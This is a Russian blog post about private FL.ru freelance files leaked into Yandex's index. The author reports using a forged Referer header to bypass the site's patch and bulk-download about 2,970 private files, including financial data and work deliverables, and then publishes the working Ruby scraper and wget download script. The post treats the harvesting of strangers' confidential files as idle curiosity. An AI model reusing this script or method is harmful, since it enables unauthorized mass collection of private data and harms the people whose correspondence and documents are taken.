FL.RU сливает а мы парсим


Сегодня на Хабре появился пост о том что в индексе Yandex имеется большое количество файлов и как оказывается не какие нибудь публичные файлы из профилей и т.д. а что нинаесть самые приватные - из приватных переписок заказчика и исполнителя.

Собственно эта тема получила большой резонанс на Хабре но как-то вообще не особо осветилась в более глобальных маштабах (вообще рекомендую к прочтению комментариев к посту на Хабре).

Разработчики (Админы?) среагировали доволи быстро на проблему, но как-то не понятно они на неё среагировали - в комментариях предположили что срочным образом, в конфиг Nginx был прописан такой строчко location ~ *.(doc|docx|xls|xlsx|ppt|pptx|rar|zip|pdf|txt)$ { return 403; }.
Я даже по началу растроился но после быстрых тестов, оказалось что 403 ошибку дают только перешедим без рефера с https://st.fl.ru, у меня немного отлягло, не зря пока скрипт писал (правда потом контору спалил ValdikSS но на момент написания поста, ситуация не поменялась).

Мне от нечего делать стало интересно слить часть файлов засветившихся в индексе, чем и занялся (пишу пост а оно всё качается ;))

Всё что делалось, делалось не ради наживы или вреда - онли интерес и разминка для мозга.

Проверив индекс Яндекс-а *.pdf site:fl.ru было обнаружено что он вполне себе отдаёт сотню страниц с ссылками на приватные файлы.
Был написан Ruby скрипт для парсинга выдачи Яндекс-а и составления списка файлов для загрузки.
Было спарсено 100 страниц выдачи, получилось 927+/- URL на приватные файлы.
Только часов в 12 ночи я добрался до того что-бы скачать файлы по ранее сформированному списку.

Результат

Файлы: 2970 шт (дублей ~20шт. или с хешированием у них проблема).
Объём: 1.3 ГБ
Средняя скорость загрузки: 500Кб/с

Финансовые данные, тех задания, сданные работы и т.д.
Полистаю на досуге и удалю :)

Технический персонал так и не исправил дыру, всё на что способны так это сделать невнятную заплатку и ту обошли через 5 минут.
В оффициальном сообществе, нет ни одного упоминания, а те что были, быстро выпилили - как неугодные.

На закуску быстро скрипт

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
REGEXP = /target="_blank" href="(http:\/\/st.fl.ru\/[\d\w\/\.\_\-]+)"/

def generate_list_file(start_f,end_f)
  list=[]
  while start_f < end_f+1
    list << start_f
    start_f+=1
  end
  list
end


def parse
  @data = []
  @file_list = generate_list_file(1,100)
    @file_list.each do |file|
      @file = File.open("../fl/#{file.to_s}.html")
      @file.each_line do |line|
        next unless @reg = line.match( REGEXP )
        @data << @reg[1]
      end
    end
puts "----------------"
puts @data.uniq
puts "----------------"
puts @data.size
end

def download
  @data.each do |url|
    system("wget --referer 'https://st.fl.ru' #{url}")
  end
end

parse
download

Комментарии